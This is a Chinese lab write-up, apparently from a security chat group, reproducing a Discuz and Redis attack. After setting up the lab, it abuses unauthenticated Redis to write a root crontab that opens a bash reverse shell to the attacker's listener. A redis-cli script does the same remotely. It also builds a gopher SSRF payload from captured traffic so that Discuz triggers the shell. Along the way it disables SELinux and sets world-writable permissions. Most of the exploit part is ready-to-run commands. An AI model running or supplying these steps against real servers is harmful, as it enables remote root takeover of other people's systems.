QQ交流群:811401950
#001 环境搭建:
Centos7(安装有apache,php,mysql,redis)
-
利用winscp把discuz的源码拖到var/www/html目录下:
-
chmod -R 777 upload/ 改一下权限
-
然后访问192.168.136.133/upload进行安装,但是访问的时候愣是给我提示目录不存在,并且相关文件不可写
-
但是查看权限是有的
-
经过各种尝试无果,开始了漫长的百度之旅,皇天不负有心人,我看到了一位兄弟和我有类似的悲惨经历,以下是他的心声:
-
我赶紧打开我的centos7敲了一波:setenforce 0
-
再次打开浏览器访问192.168.136.133/upload目录,全部正常了:
-
根据提示点击下一步,终于看到了熟悉的面孔
-
访问一波正常,到此环境搭建完成
#002 漏洞复现操作: -
本地操作利用计划任务反弹shell
复现环境:win7(装有nc),centos7-discuz+redis -
Win7开启nc监听:
-
Centos7首先开启redis服务:
-
操作redis写计划任务反弹shell,在redis-cli中输入以下命令:
◆set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n”
◆config set dir /var/spool/cron/
◆config set dbfilename root
◆save
-
回到win7中查看结果,成功接收到反弹的shell:
-
执行以下命令 /usr/sbin/ifconfig,本地利用计划任务反弹shell就成功了
#004 公网服务器利用gopher协议来写计划任务:
◆ redis-cli -h $1 -p $2 flushall //可不写
◆echo -e “\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.136.132/3333 0>&1\n\n\n”|redis-cli -h $1 -p $2 -x set 1
◆ redis-cli -h $1 -p $2 config set dir /var/spool/cron/
◆redis-cli -h $1 -p $2 config set dbfilename root
◆redis-cli -h $1 -p $2 save
◆redis-cli -h $1 -p $2 quit -
win7用nc开启监听,bash命令执行shell/sh,看到ok代表执行成功
-
回到win7查看返回结果,成功接收到反弹的shell
-
我们想要抓取redis攻击tcp的数据包,可以使用socat端口转发。
-
Socat命令进行端口转发,把本地6379转发到2222端口,监听2222端口,抓取tcp数据包:
◆socat -v tcp-listen:2222,fork tcp-connect:localhost:6379
◆bash命令执行shell.sh脚本,并且带上127.0.0.1 2222
◆可以看到成功抓取到了tcp数据包,然后将抓取到的内容复制,并保存为1.log
◆利用redis_ssrf.py脚本转换1.log,生成payload
◆将生成的payload放入公网的文件gopher.php中
◆Win7开启nc监听6666端口,然后discuz访问payload就会反弹shell
**QQ交流群:811401950**